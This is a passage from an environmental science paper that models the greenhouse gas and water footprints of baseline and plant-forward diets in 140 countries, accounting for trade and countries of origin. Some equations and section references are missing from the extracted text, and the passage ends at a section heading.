To help address these gaps, we modeled the greenhouse gas (GHG) footprint and blue and green water footprint (WF) of baseline consumption patterns and nine increasingly plant-forward diets with varying levels of animal products for 140 individual countries and territories (henceforth: “countries”). Diets were modeled in accordance with health criteria, offering nutritionally-viable scenarios (to the extent possible without accounting for micronutrients) that adjust for over- and under-consumption. We account for blue water (surface and groundwater, e.g., for irrigation) and green water (soil moisture from precipitation); the latter is often excluded from similar studies on the rationale that it does not directly impact water scarcity (e.g., by depleting aquifers). Green water accounting is important, however, because efficient use of green water in rainfed agriculture can lessen reliance on blue water elsewhere. In an internationally-traded economy, one cannot be considered independently of the other, and both are part of an increasingly scarce global pool (Hoekstra, 2016; Schyns et al., 2019). We also incorporate footprints of aquatic animals, nuts, and seeds—common protein alternatives to terrestrial animal products—which most prior studies excluded or only narrowly considered (Appendix A, Table A1).

By accounting for import patterns and associated differences in the GHG and water footprints of food items based on the production practices unique to items’ countries of origin (COO), the study model satisfies recent appeals (Heller and Keoleian, 2015; Wellesley et al., 2015) to incorporate trade flows when measuring the environmental impacts associated with national consumption patterns. Moreover, international accounting systems commonly attribute environmental impacts associated with imported foods to producing countries rather than the countries in which they are consumed, thereby displacing accountability away from the populations responsible for changing demand (Dario et al., 2014; de Ruiter et al., 2016; Peters and Hertwich, 2008).

This research identifies a range of country-specific scenarios in which dietary patterns could better align with climate change mitigation, freshwater conservation, and nutrition guidelines.

2. Methods

We developed a model to estimate the annual per capita and whole country GHG, blue water, and green water footprints for baseline consumption patterns and nine increasingly plant-forward diets specific to 140 countries. We also estimate the per-serving, per-kilocalorie, per-gram of protein, and per-kilogram edible weight footprints of common food groups. The model was developed in Python version 3.6. Model input and output are available in Mendeley Data (Kim et al., 2019).

2.1. Baseline consumption patterns

To characterize baseline consumption patterns for each country, we averaged data over the 2011–2013 Food and Agriculture Organization of the United Nations (FAO) food balance sheets (FBS) (FAO, 2017a), which provide estimates of per capita domestic food supplies after accounting for imports, exports, losses (where data are available), animal feed, and other non-food uses (FAO, 2001). Quantities reported in FBS reflect food availability and thus overestimate quantities actually consumed. Bovine meat supplies, for example, are reported in dressed carcass weight, which includes bones and other parts typically considered inedible. These data are appropriate for diet footprint modeling, however, because they reflect the amount of production involved in feeding populations (e.g., we measure the footprint of the carcass required to produce the edible portion of beef in the diet). Food balance sheets are also well-suited for comparing consumption patterns across countries (Fehrenbach et al., 2016) and have precedent in the literature for measuring diet footprints across regions (Hedenus et al., 2014; Popp et al., 2010; Pradhan et al., 2013; Tukker et al., 2011) and globally (Bajzelj et al., 2014; Stehfest et al., 2009; Tilman and Clark, 2014).

2.2. Food losses and waste

For some items in some countries, where sufficient data were available, FBS subtracted supply chain losses from food supply estimates. We added these quantities back in to food supplies for two reasons: First, estimates of diet footprints should reflect the fact that some amount of waste inevitably occurs between the producer and the consumer, thus for footprint modeling purposes we needed the original quantities of FBS items prior to supply chain losses. Second, in cases where it was appropriate to subtract supply chain losses—i.e., when dealing with amounts of calories or nutrients actually consumed (Section 2.4)—we used a more comprehensive source for food losses and waste (Gustavsson et al., 2011); combining this with FBS estimates would have resulted in double-counting. Detailed methods for estimating food losses and waste are provided in Appendix B.1.

2.3. Food items

Study diets were comprised of 74 items in FBS (Mendeley Data input/item_parameters). Twenty-four additional FBS items were excluded due to the small quantities in which they are typically consumed (e.g., spices), limited footprint data (e.g., game meats), and/or because they are not typically considered food (e.g., alcohols, cottonseed). Most FBS items are expressed in terms of primary equivalents, i.e., the quantity of a raw commodity required to produce a given quantity of processed goods. For example, wheat products (e.g., wheat flour and bread) are quantified in terms of the unprocessed wheat required for their production, and dairy products, except for butter and cream, are quantified as whole milk equivalents (FAO, 2001; 2017b). FBS items range from specific (e.g., bananas) to broad (e.g., freshwater fish). Other model inputs, including trade data and item footprints, were expressed in terms of specific items (e.g., walnuts), so we developed schemas to match them to the associated FBS items (e.g., nuts and products).

For modeling purposes, we added several custom items to represent foods either not included in FBS (e.g., edible insects) or more specific than those in FBS. The custom item for forage fish, for example, includes small, schooling pelagic fish such as sardines and herring that are prey for larger species, and unlike the FBS item “Pelagic Fish” it does not include larger species such as tuna. In Mendeley Data, custom items are identifiable by an FBS item code of 9000 or greater.

2.4. Modeled diets

For each of the 140 study countries, we modeled nine increasingly plant-forward diets that adhered to parameters for a healthy diet (summarized in Fig. 1; see also Mendeley Data input/item_parameters). Each diet used the country’s baseline consumption pattern as the starting point. In all steps where groups of FBS items (e.g., protein foods) were scaled up or down, the relative proportions of items within each group were preserved, reflecting each country’s unique dietary pattern. For example, the residents of South Korea consume relatively little dairy, so if they removed red meat from their diet we would not expect milk products to be a popular protein substitute. When comparing FBS item quantities with nutritional criteria (e.g., the target for caloric intake described below), we first subtracted region- and food group-specific losses occurring during processing and packaging, distribution, and consumption (Gustavsson et al., 2011). This step ensures that criteria are met based on quantities that are closer to amounts actually consumed, versus quantities in the food supply.

* * *

Fig. 1. Parameters for study diets. Partial shading indicates food groups that were included only on selected days/meals, e.g., meat was included in six of seven days for meatless day, and in one of three meals for two-thirds vegan.

aRed meat includes bovine, sheep, goat, and pig meat.

bWhen dairy products were scaled to meet the protein floor, only the FBS item “Milk, Excluding Butter” (which also includes some milk-derived products such as cheese and yogurt) was scaled. The FBS items “Butter, Ghee” and “Cream” were not scaled for protein.

cThe fruits and vegetables floor and added sugars cap for meatless day were only applied for one day of the week, reflecting one day of the lacto-ovo vegetarian diet and six days of the adjusted baseline.

dThe 2/3 vegan diet reflects the vegan diet for two out of three meals per day and the adjusted baseline for the third. The fruits and vegetables floor and added sugars cap were only applied to the two vegan meals.

eFor the low-food chain diet, protein from insects replaced 10% of the protein from terrestrial animal products, and protein from forage fish and bivalve mollusks replaced 70% and 30%, respectively, of the protein from aquatic animals.

* * *

Diets were modeled as follows. First, to adjust for over- and under-consumption, the baseline pattern was scaled to 2300 kilocalories—the upper bound of average per capita energy requirements calculated by Springmann et al. (2016). We held caloric intake constant across all modeled diets for consistency when making cross-country comparisons. In the steps described below (e.g., removing animal foods), the caloric content of the diet underwent further changes and subsequently had to be adjusted back to 2300, but performing this step first kept the relative proportions of FBS items closer to the baseline. Following the initial adjustment for caloric intake, amounts of nuts, seeds, and oils were held constant for all diets.

Where applicable, selected animal foods were removed (Fig. 1); e.g., terrestrial and aquatic meats were removed from the lacto-ovo vegetarian diet. Modeled diets were then adjusted to meet two health guidelines from the World Health Organization and FAO (2003): Fruits and vegetables (excluding starchy roots, e.g., potatoes, yams) were scaled up to a floor of 400 g per day, or approximately five servings; and added sugars were capped to contribute no more than 10% of total energy intake. For diets in which meat was eliminated, the fruit and vegetable floor was raised to six or seven servings per day (Fig. 1), based on the rationale that healthy vegetarian and vegan dietary patterns tend to include more of these items (Springmann et al., 2016). Note that we use the term “vegan” to refer to exclusively plant-based diets, without reference to other behaviors sometimes associated with the term, such as avoidance of leather products.

The low red meat diet additionally included a cap on red meat (i.e., bovine, sheep, goat, pig) of 350 g cooked weight per week, or roughly three servings, as per recommendations (World Cancer Research Fund and American Institute for Cancer Research, 2018). We converted the 350 g cap from cooked to raw weight (467 g) using the same conversion factors we used for per-serving footprints (Section 2.8, Mendeley Data input/per_unit_serving_sizes), and from raw weight to carcass weight (648 g) using the average of FAO extraction rates for bovine and pig meat (FAO, 2017). Taken together with adjustments for added sugars, fruits and vegetables, calories, and protein, this diet is intended to approximate the adoption of dietary recommendations.

For the low food chain diet, protein from insects replaced 10% of the protein from terrestrial animal products, and protein from forage fish and bivalve mollusks replaced 70% and 30%, respectively, of the protein from aquatic animals. Insects are not included in FBS, so nutritional content was derived from Payne et al. (2016). Forage fish and bivalve mollusks are included in FBS but grouped with other items (e.g., “Molluscs, Other” includes snails), so nutrient content was derived from the United States Department of Agriculture (USDA) food composition database (USDA, 2017). See Mendeley Data input/nutrient_comp_custom_items for details.

Following these adjustments, selected energy staples, i.e., FBS items in the grains and starchy roots groups, were scaled up or down to return to the 2300 kilocalorie target. Selected protein groups (Fig. 1) were then scaled up as needed to meet a protein floor of 69 g per day—12% of total energy intake, within the recommended range of 10–15% (World Health Organization and FAO, 2003). To hold calories constant while scaling up protein, caloric increases from protein foods were counter-balanced with commensurate reductions in calories from energy staples. The equation for this step is provided in Appendix B.2.

We also modeled an adjusted variant of the baseline pattern, scaled to 2300 kcal and the protein floor (Figs. 1, 5b, 6). When comparing plant-forward modeled diets with baseline consumption patterns, the adjusted baseline allows for isolating the effects of food substitutions independent of adjustments for over- and under-consumption.

The meatless day and two-thirds vegan diets were modeled as combinations of two diets. Meatless day was patterned after behavior change campaigns promoting one day of the week without meat (e.g., Meatless Monday) and assumes a lacto-ovo vegetarian diet for one day per week and the adjusted baseline for the other six days. We included this diet because it can serve as an entry point toward more plant-forward diets. Two-thirds vegan was patterned loosely after “Vegan Before 6” (Bittman, 2013) and assumes a vegan diet for two out of three meals per day and the adjusted baseline for the third, with each meal providing equal caloric content. This approach does not account for the possibility that people in some countries may consume more animal products at dinner, for example, compared to breakfast and lunch.

We also included a hypothetical scenario in which all study countries adopt the average baseline consumption pattern of high-income OECD countries (The World Bank, 2018; Figs. 1, 6 and 8a–d), illustrating potential outcomes of the Western diet becoming more widespread. Furthermore, by holding diet composition constant across countries, this scenario isolates the effects of import patterns and COOs on GHG and water footprints.

2.5. Countries

We ran the model for the 140 countries with sufficiently robust trade and food supply data for inclusion in the 2011–2013 FAO detailed trade matrices and FBS (FAO, 2017a).

2.6. Import patterns and countries of origin

An item’s footprint varies based on the conditions and practices specific to its COOs (e.g., Fig. 3, Fig. 4). To account for these differences, for each country and diet, we traced the supply of each FBS item back to the countries in which it was produced. Of Japan’s pig meat supply, for example, 48% was produced domestically over 2011–2013, 22% was imported from the United States (US), 10% from Canada, 7% from Denmark, and so on. For total imports by importing country and FBS item, we used trade data averaged over 2011–2013 FBS, and to allocate the share of total imports among COOs, we used 2011–2013 FAO detailed trade matrices (FAO, 2017a). Detailed methods are provided in Appendix B.3. Note that for this study, COOs were only relevant in cases where sufficient country-specific item footprint data were available.

2.7. Diet footprints

2.7.1. Overview

Contributions of FBS items to diet footprints were modeled using two approaches. The first method used country-specific footprints, i.e., for the items consumed in a given country, the GHG and water footprints were specific to the COOs from which each item was imported. Since we did not have sufficient country-specific data to apply this method in all cases, it was limited to the GHG and water footprints of terrestrial animal products (excluding insects), WFs of plant foods, and all land use change (LUC) CO2 footprints. After adapting country-specific footprint data to FBS items, this method yielded 16 009 footprint data points (available in Mendeley Data input/item_footprints_by_coo). These were then multiplied by the corresponding quantities of each item, allocated over COOs, in each country-diet combination. This method and the associated data sources are described in Sections with technical details covered in Appendix B.4.

The second method was used in cases where we did not have sufficient country-specific data to differentiate footprints by COO, i.e., for the GHG and water footprints of aquatic animals and insects, and the GHG footprints of plant foods. For this method we performed a literature search and adapted results from 114 peer-reviewed studies, yielding 764 data points (available in Mendeley Data input/item_footprints_distributions). For these item-footprint pairs, we used a bootstrapping approach to reflect the heterogeneity across the countries and production systems examined in the 114 studies. The bootstrapping approach is described in Sections, with the literature search described in Appendix B.5.

All results reflect cradle-to-farm gate activities only, and thus do not account for GHG and water footprints associated with processing, transportation, retail and preparation. This limitation is discussed in Section 3.3.

While most FBS items are expressed in terms of primary equivalents, there were some cases where we needed to allocate shares of GHG and water footprints among processed items originating from the same root product, e.g., butter and cream from milk. We adapted the economic allocation method described in Hoekstra et al. (2011). The method and how it was applied in each case are described in Appendix B.6.

2.7.2. GHG and land-use change CO2 footprints of terrestrial animal products, by COO

For GHG footprints of terrestrial animal products (excluding insects), we adapted data from FAO’s Global Livestock Environmental Assessment Model GLEAM-i tool (FAO, 2017c). The tool applies a consistent, transparent approach to quantifying production data and GHG emissions associated with terrestrial animal production specific to 235 different countries, accounting for differences in feed composition, feed conversion ratios, manure management techniques, and other parameters associated with the various species and production systems (e.g., grasslands cattle, feedlot cattle, broiler chickens, layer chickens) unique to each setting. The level of granularity provided by GLEAM-i further allowed us to report CO2 emissions from deforestation-driven LUC separately from other emissions sources. These qualities made GLEAM-i a robust choice for differentiating GHG footprints based on COO.

Although GLEAM-i accounts for soil carbon fluxes associated with land use change, e.g., conversion from forest to grassland, it does not account for the effects of livestock management practices on soil carbon losses or sequestration—an important limitation that should be addressed in future research (see Section 3.3). Furthermore, GLEAM-i does not allocate GHG emissions to offals and other slaughter byproducts, thus overestimating the GHG footprints of meat and underestimating those of offals (see Appendix B.6).

With the exception of offals, the GLEAM-i tool allocates GHG emissions from each production system among the associated animal products (e.g., cattle meat and milk from grassland systems in Brazil) based on protein content. The GHG footprints of these items, as reported by GLEAM-i, are specific to country, production system, and item but are not specific to the emissions source (i.e., LUC for soy feed, LUC for palm kernel cake feed, LUC for pasture expansion, and all other sources of GHG emissions). One of our study aims was to highlight the contributions of deforestation to GHG footprints. To this end, we allocated the GHG footprints of items among emissions sources based on the assumption that within a given a country and production system, the relative shares of source-specific GHG emissions among the items from that system is the same as the relative shares of total GHG emissions among those items, which was provided by GLEAM-i. For example, for United Kingdom (UK) layer systems, based on GLEAM-i data, 82% of the total GHG footprint was allocated to eggs and 18% was allocated to poultry meat. Thus, we applied the same percentages to allocate LUC CO2 emissions from the use of soy feed in UK layer systems (also reported by GLEAM-i) between eggs and meat. The equations for this method are detailed in Appendix B.4.

Since GLEAM-i reports GHG footprints per kilogram of protein, we converted to per-kilogram primary weight footprints (e.g., carcass weight for meat, whole milk for dairy) as follows. For each GLEAM-i item g produced in country c, the primary weight GHG footprint GHG was calculated as

where GHGP is the GHG footprint per kilogram of protein, PP is the annual production in kilograms of protein, and P is the annual production in kilograms primary weight.

Footprints of GLEAM-i items (e.g., buffalo meat, cattle meat) then needed to be translated to footprints of FBS items (e.g., bovine meat). We developed schemas matching GLEAM-i countries and items to those used in FBS. For each FBS item f produced in country c, we then calculated the primary weight GHG footprint as the average footprint of the associated GLEAM-i item(s) g produced in c, weighted by the tonnages produced P:

If there were no GLEAM-i footprint data for an FBS item in a given country, we used a regional average, weighted by the tonnage of the FBS item produced in each country (FAO, 2017a), as follows:

Finally, if there were no footprint data for f in r, a weighted global average was used.

2.7.3. Land-use change CO2 footprints of soy and palm oils intended for human consumption, by COO

Soybeans, soybean oil, palm oil, and palm kernel oil reported in FBS food supply data reflect uses for human consumption; GHG footprints of soy and palm as animal feed are described in Section 2.7.2. Land-use change CO2 footprints for the former items were adapted from FAO GLEAM documentation (FAO, 2017d), which provides per-hectare LUC CO2 footprints associated with soy and palm production for 92 (soy) and 14 (palm) countries. Per-hectare footprints were converted to per-kilogram footprints using country-specific crop yields from FAOSTAT, averaged over 2011–2013. The LUC CO2 footprints of soy and palm oils were then derived from their root products using the economic allocation method described in Appendix B.6. If there were no LUC CO2 footprint data associated with soy or palm production in a given country, the LUC CO2 footprint was assumed to be zero.

2.7.4. Water footprints of plant foods and terrestrial animal products, by COO

We adapted data from literature quantifying the blue and green WFs of plant foods (Mekonnen and Hoekstra, 2010a) and terrestrial animal products (Mekonnen and Hoekstra, 2010b) specific to over 200 countries. We developed schemas matching countries and items from these datasets to their FBS counterparts. Parallel to our approach for GHG footprints, for each FBS item f produced in country c, we calculated the WFs as the average footprint of the associated water dataset item(s) w produced in c, weighted by the tonnages produced P (FAO, 2017a):

If there were no country production data for an item w, an unweighted country average was used. If there were no WF data matching FBS item f produced in country c, a weighted regional or global average footprint was used, following the method described above for GLEAM-i.

One FBS item (honey) had no associated WF data and was thus excluded from WF calculations. Mekonnen and Hoekstra’s datasets did not include insects, so the WF of insects was taken from Miglietta et al. (2015) and used for insect production in all countries.

Note that this method does not account for levels of water scarcity in countries of origin. While we acknowledge that there are differing perspectives regarding the need for scarcity-weighted WFs, our approach is informed by Hoekstra (2016), which argues that WFs have implications for freshwater conservation wherever withdrawal occurs. In an internationally-traded economy, all freshwater is part of an increasingly scarce global pool. Even in regions with abundant freshwater availability, if water is used inefficiently in agriculture or aquaculture, wasted water is water that could have otherwise been used to produce more food—thus lessening the need for other, potentially water-scarce, regions to produce as much.

2.7.5. Bootstrapping approach for GHG footprints of plant foods, aquatic animals, and insects

In contrast to the datasets used for footprints by COO—which used uniform methods across FBS items and countries—plant food, aquatic animal, and insect GHG footprints from the literature search reflected a diversity of studies with varied methods, and represented some countries more than others. To maximize consistency across studies and with the country-specific data describe above, we applied strict inclusion/exclusion criteria and standardized results to the degree possible (described in Appendix B.5); however, the practices under study still varied greatly, e.g., by fertilizer and pesticide application rates, use of organic practices, irrigation method, crop rotations, use of protected cultivation (e.g., greenhouses), fish stocking density, and fishing method (e.g., long-lining, trawling). These may not be representative of the prevailing practices for a given country-item combination.

To account for this heterogeneity, we create a weighted probability distribution for each FBS item’s footprint observations. When a study provided results for multiple scenarios involving the production of the same item in the same country, e.g., for five GHG footprint observations for Spanish wheat with varying levels of nitrogen fertilizer inputs, we assigned a weight to each observation equal to the reciprocal of the number of observations, e.g., 1/5, preventing studies with multiple observations from being overrepresented. If there were no observations for an FBS item, proxies were used, e.g., a distribution of all grains footprints was used for sorghum and products, and a distribution of all citrus fruit footprints was used for grapefruit and products. All item footprint distributions used in the model are provided in Mendeley Data input/item_footprints_distributions.

To calculate the contributions of plant foods, aquatic animals, and insects to the GHG footprint of a country-diet combination, we used a bootstrapping approach designed to capture the distribution of item footprint values from the literature. The weighted distribution of GHG footprint values for tomatoes, for example, was skewed right; simply using the median or average would ignore this important detail. For our approach, we 1) selected 10 000 random samples from each FBS item footprint distribution, e.g., 10 000 samples from 23 weighted GHG footprint values (kg CO2e/kg) for barley; 2) multiplied each sampled footprint value by the corresponding quantity of the FBS item in the diet, e.g., 46 kg barley/capita/year in the Moroccan vegetarian diet; and 3) summed the resulting values for FBS items within the same group, e.g., resulting in a distribution of 10 000 values for the kg CO2e/capita/year associated with grains in the Moroccan vegetarian diet. Summing the median value from each distribution with results by COO (Sections yielded the total per capita footprint of a given country diet. We also present interquartile ranges (error bars in Fig. 7, also provided in Mendeley Data output) to convey variations across bootstrapped outputs. Note that these ranges apply only to items for which bootstrapping was used, as the COO-specific method does not account for uncertainty and is deterministic, returning a single footprint value for each permutation of inputs (e.g., FBS item, diet, country, and COO).
2.7.6. Bootstrapping approach for water footprints of aquatic animals

Aquatic animal WFs were limited to farmed species and accounted for blue and green WFs associated with feed production and, where applicable, blue water used to replace evaporative losses from freshwater ponds and to dilute seawater in brackish production. Water footprints of wild-caught aquatic animals were assumed to be negligible.

For feed-associated WFs, we created a distribution of WF values adapted from Pahlow et al. (2015) for each FBS item associated with farmed species. We did not have information about the share consumed in a given country that was farmed versus wild-caught, so we made assumptions based on 2014 global production patterns, e.g., 79% of harvests associated with the FBS item “Freshwater Fish” were from aquaculture (FAO, 2017e), so when this item was included in diets, we only applied the feed-associated WF to 79% of the amount consumed regardless of the country.

For freshwater pond aquaculture, we created a distribution of blue WF values for each of the FBS items “Freshwater Fish” and “Crustaceans” (Gephart et al., 2017; Henriksson et al., 2017; Verdegem and Bosma, 2009). For “Crustaceans” we created an additional distribution of blue WF values for brackish water pond aquaculture (Henriksson et al., 2017; Verdegem and Bosma, 2009). Both distributions were weighted using the method described in Section 2.7.5, except for the 31 values for freshwater production in China from Gephart et al. (2017), which were weighted by the percentage of Chinese freshwater production represented by each data point. We did not have information about the shares consumed in a given country that were from freshwater or brackish ponds, so as per our method for feed-associated WFs, we made assumptions based on 2014 global production patterns (FAO, 2017e; Mendeley Data input/aquaculture_percent_ponds).

Contributions of aquatic animals to country-diet WFs were calculated as follows, using the bootstrapping approach described in Section 2.7.5. We (1) selected 10 000 random samples from each FBS item-footprint distribution, e.g., for “Crustaceans” we selected 10 000 samples each from the distributions for feed blue WF, feed green WF, freshwater pond blue WF, and brackish water pond blue WF; (2) multiplied each sampled footprint value by the corresponding quantity of the FBS item in the diet; and (3) summed the resulting values for FBS items within the same group, i.e., “Aquatic animals,” keeping results for each water footprint type separate.

2.8. Footprints of individual food items

In addition to calculating diet footprints, we presented per-serving, per-kilocalorie, per-gram of protein, and per-kilogram edible weight footprints associated with grouped FBS items (Figs. 2, S1–S3). For per-kilogram footprints, we converted carcass weight and whole aquatic animal footprints of terrestrial and aquatic meats to edible weight equivalents (FAO, 1989, n.d.; Nijdam et al., 2012; Waterman, 2001). Where nut footprints were expressed in terms of in-shell, we converted them to shelled. Although the model handled dairy products in terms of whole milk equivalents (except for butter and cream), for comparative purposes we added the footprints of cheese and yogurt, derived from milk using economic allocation (see Appendix B.6). Per-kilogram edible weight footprints were then converted to per-serving footprints using US standards (U.S. Food and Drug Administration, 2016). Serving sizes and conversion factors are provided in Mendeley Data input/per_unit_serving_sizes.

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Fig. 2. Average per serving (a) GHG, (b) blue water, and (c) green water item footprints. For items with sufficient country-specific footprint data (i.e., GHG and water footprints of terrestrial animal products excluding insects, WFs of plant foods, and LUC CO2 footprints), footprints were averaged across countries and weighted by the tonnage produced in each country. For all other items (i.e., from the literature search), see Section 2.7.5 for how averages were weighted. Most items shown here are grouped (e.g., grains); footprints associated with specific items used in the study model (e.g., maize, millet, barley) are provided in Mendeley Data input. Diamonds represent medians and error bars show interquartile ranges. See Mendeley Data input/per_unit_serving_sizes for primary weight to serving size conversions.

Forage fish GHG footprints are based on sardines and herring. Pond-raised WFs largely reflect tilapia, carp and catfish. Blue WFs for brackish pond aquaculture reflect freshwater used to dilute seawater. Water footprints of wild-caught aquatic animals were assumed to be negligible.

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Fig. 3. Per-kilogram GHG footprints of bovine meat, by producing country, shown for countries that produced over 100 000 metric tons in 2011–2013.

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Fig. 4. Per-kilogram blue and green WFs of rice, by producing country, shown for countries that produced over 1 000 000 metric tons (1 megaton) in 2011–2013.

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Fig. 5. Potential per capita changes in diet-related GHG, blue water, and green water footprints across all 140 study countries, calculated as the average Δfootprint weighted by the population of each country. Shown for the nine modeled diets relative to (a) baseline consumption patterns and (b) an adjusted variant of each country’s baseline, scaled to 2300 kcal with a 69 g/capita/day protein floor. The adjusted baseline allows for comparisons between plant-forward diets and baseline patterns independent of adjustments for over- and under-consumption, isolating the effects of food substitutions. Diamonds represent medians and error bars show interquartile ranges.

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Fig. 6. Greenhouse gasfootprints for selected diets, by country, (a) per capita and (b) for whole country populations. Countries are sorted by baseline footprint. Due to space constraints, of the 140 study countries, only the following are shown here: (a) the 59 countries above the 58th percentile for whole country baseline footprint, and (b) the 11 countries above the 92nd percentile for whole country baseline footprint.

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Fig. 7. Per capita diet-related GHG footprints by country, diet, and food group. Shown for the top four countries with the largest whole-country diet-related baseline GHG footprints: (1 st) mainland China, (2nd) India, (3rd) Brazil and (4th) the United States. Indonesia, ranked 7th for whole-country footprint, is also shown as an example of a country with high consumption of aquatic animals. Most items shown here are broadly grouped (e.g., plant foods); diet footprints are provided with greater specificity in Mendeley Data output. Error bars show interquartile ranges and apply only to items for which bootstrapping was used, i.e., plant foods, aquatic animals, and insects (see Section 2.7.5).

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Fig. 8. Water footprints by country (a) per capita, blue WF only; (b) per capita, combined blue plus green WFs; (c) for whole countries, blue WF only; (d) for whole countries, combined blue plus green WFs; and (e) per capita, for baseline diets only, separated by blue and green WF. Countries are sorted by (a–d) baseline footprint or (e) blue WF. Due to space constraints, of the 140 study countries, only the following are shown here: (a, b, e) the 35 countries above the 75th percentile for whole country baseline footprint, and (c, d) the 14 countries above the 90th percentile for whole country baseline footprint.

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In addition to presenting the median and interquartile range for each group footprint, for groups with footprints specific to COO, we calculated global averages weighted by the mass produced in each country. For groups with footprints from our literature search, averages were weighted by the reciprocal of the number of observations from each study to prevent studies with multiple observations from being overrepresented (consistent with the weighting method described in Section 2.7.5).

3. Results and discussion

3.1. Footprints of individual food items

Our study model incorporated 3850 GHG, 5402 blue water, and 7521 green water data points (Mendeley Data input/item_footprints_by_coo, input/item_footprints_distributions) reflecting cradle-to-farm gate footprints of the individual food items comprising diets, spanning diverse production practices and conditions unique to COO. These are presented per serving (Fig. 2), per kilocalorie (Fig. S1), per gram of protein (Fig. S2) and per kilogram edible weight (Fig. S3) as global averages weighted by the tonnage produced in each country (where sufficient country-specific data were available). These figures show footprint values aggregated over common food groups (e.g., grains), whereas the study model handled items with greater specificity (e.g., maize, millet, barley).

Whether by serving, energy content, protein, or mass, ruminant meats (i.e., bovine, sheep, goat) were by far the most GHG-intensive items. Per serving, bovine meat (weighted average: 6.54 kg CO2e/serving) was 316, 115, and 40 times more GHG-intensive than pulses, nuts and seeds, and soy, respectively. Insects (e.g., mealworms, crickets) and forage fish (e.g., sardines, herring) were among the more climate-friendly animal products, much more so than dairy. Plant foods were generally the least GHG-intensive overall, often by an order of magnitude, even after accounting for GHGs associated with deforestation for palm oils and soy.

Blue WFs of pond-raised fish (e.g., carp, tilapia, catfish; weighted average: 698 L/serving) and farmed crustaceans (e.g., shrimp, prawns, crayfish; weighted average: 1184 L/serving) exceeded those of other item groups by an order of magnitude. Our model accounted for water used in production ponds and crop production for aquaculture feed. Re-filling ponds to replace evaporative losses, together with freshwater used to dilute seawater in brackish production, accounted for 94.7% and 95.1% of the blue WFs for pond-raised fish and farmed crustaceans, respectively.

Bovine meat was the only item group for which the weighted average blue WF was greater than the 75th percentile blue WF. This suggests that most bovine meat production occurs in countries where blue water use for bovine meat is particularly high.

The wide interquartile ranges of country-specific item footprints (error bars in Figs. 2, S1–S3; see also Fig. 3, Fig. 4) illustrate variations in the conditions and practices unique to where items are produced. The per-kilogram GHG footprints of bovine meat from Paraguay and Brazil, for example, were 17 and five times higher, respectively, than that of Danish bovine meat (Fig. 3). These differences were largely attributable to deforestation for grazing lands and higher methane emissions from ruminant eructation (belching). While there were insufficient data to account for COO in all cases, we did so for most of the items with the greatest magnitude and variance in footprints, e.g., GHG footprints of terrestrial animal products (excluding insects).

3.2. Footprints of whole diets

We modeled scenarios illustrating the potential per capita and whole-country footprints of nine plant-forward diets. These in part reflect modeling choices; they represent potential outcomes for consideration and may not reflect actual consumption behaviors. Scenarios involving country-wide shifts to a particular diet, for example, are unlikely to occur, but can reveal opportunities where policy and behavioral interventions could have the broadest effect, particularly in populous countries (Figs. 6b, 8c and d).

3.2.1. Global implications of adopting the OECD diet

In a scenario in which all 140 study countries adopted the average consumption pattern of high-income OECD countries, per capita diet-related GHG and consumptive (blue plus green) water footprints increased by an average of 135 and 47 percent, respectively, relative to the baseline (shown for selected countries in Figs. 6, 8a–d). These findings echo prior literature (e.g., Bajzelj et al., 2014; Willett et al., 2019) on the climate implications of rising meat and dairy intake, and the importance of both reducing animal-product intake in high-consuming countries and providing viable plant-forward strategies for transitioning countries.

3.2.2. Global implications of adjusting for under-consumption

We modeled scenarios in which dietary patterns could better align with ecological goals alongside nutrition guidelines—while also identifying some of the challenges in doing so. For example, baseline protein and caloric availability were below recommended levels (Section 2.4) in 49 and 36 percent of countries, respectively. The resulting adjustments for under-consumption attenuated—and in some cases completely offset—the GHG and water footprint reductions associated with dietary shifts. For a scenario in which all 140 study countries adopted either the low red meat or meatless day diet, our model projected an average net increase in diet-related GHG, blue water, and green water footprints relative to the baseline (Fig. 5a). Populous countries characterized by under-consumption were the largest contributors to this phenomenon, namely India and to a lesser degree Pakistan and Indonesia (Fig. 6, Fig. 7, Fig. 8); loss-adjusted baseline protein availability in these countries was 14, 9, and 12 g below the recommended minimum of 69 g, respectively. Thus, interventions that aim to address both sustainability and health goals must ensure plant-forward shifts are ambitious enough to offset the potential ecological burdens associated with providing adequate nutrition.

By contrast, if we hold caloric intake constant—that is, independent of adjustments for over- and under-consumption (i.e., relative to an adjusted variant of the baseline pattern, scaled to 2300 kcal and the protein floor)—shifting to the low red meat or meatless day diets resulted in an average net 4% or 3% reduction in diet-related GHG footprints, respectively (Fig. 5b). Regardless of their effectiveness in climate change mitigation, these modest shifts may offer an accessible starting point toward more plant-forward dietary patterns.

3.2.3. Importance of country-specific analyses, trade, and countries of origin

The global aggregates shown in Fig. 5 are limited insofar as they obscure the considerable variation across countries, illustrated by the interquartile ranges. This variation was attributable to differences in food supply composition (e.g., the degree to which the aquatic animals group is comprised of pond-raised species), how animal products are replaced when shifting diets, adjustments for over- and under-consumption, and import patterns and the associated production practices (e.g., pasture-based vs. intensive; irrigated vs. rainfed) and climatic conditions (e.g., precipitation, evapotranspiration) unique to COOs. A country-specific analysis reveals, for example, that shifting to the meatless day diet reduced GHG and water footprints in 47% and 57% of study countries, respectively—with some of the greatest per capita reductions in Paraguay, Israel, and Brazil—even though the average net effect was an increase in footprints. Fig. 7 further illustrates the degree to which the relative environmental benefits among diets varied across countries, along with the relative contributions of different food groups. Notably, of the 140 individual countries examined in this study, most—including those identified as having the most GHG- and water-intensive diets—have been vastly underrepresented in the literature (Appendix A, Table A1).

The scenario in which countries adopt the average baseline consumption pattern of high-income OECD countries (Figs. 6, 8a–d) isolates the effects of import patterns and COO on GHG and water footprints. Holding diet composition constant across the 140 study countries, the GHG and consumptive (blue plus green) water footprints associated with this scenario showed substantial variation (averaging 2.5 ± 0.9 metric tons CO2e/capita/year and 1.5 ± 0.5 megaliters/capita/year, respectively).

A number of country governments, including Brazil (Ministry of Health of Brazil, 2014) and more recently Canada (Health Canada, 2019), have put forth dietary guidelines emphasizing predominantly plant-based foods. While this is a critical step toward aligning domestic consumption patterns with public health and ecological goals, countries’ production and export patterns merit additional attention. Brazil, for example, was the top exporter of bovine meat (based on an average of 2011–2013 data) and was in the top quartile for GHG-intensity of bovine meat production (Fig. 3). Together with other major GHG-intensive exporters such as India and Paraguay, Brazilian bovine meat exports contributed to the large GHG footprints of diets in importing countries like Chile, Hong Kong, Kuwait, Venezuela, and Israel. In a hypothetical scenario in which the share of Hong Kong’s bovine meat imports from Brazil came from Denmark instead, Hong Kong’s per capita GHG footprint for the baseline pattern was 18% lower. While not necessarily feasible or desirable, this scenario further illustrates the importance of accounting for trade patterns and COO.

3.2.4. Per capita GHG footprints of whole diets

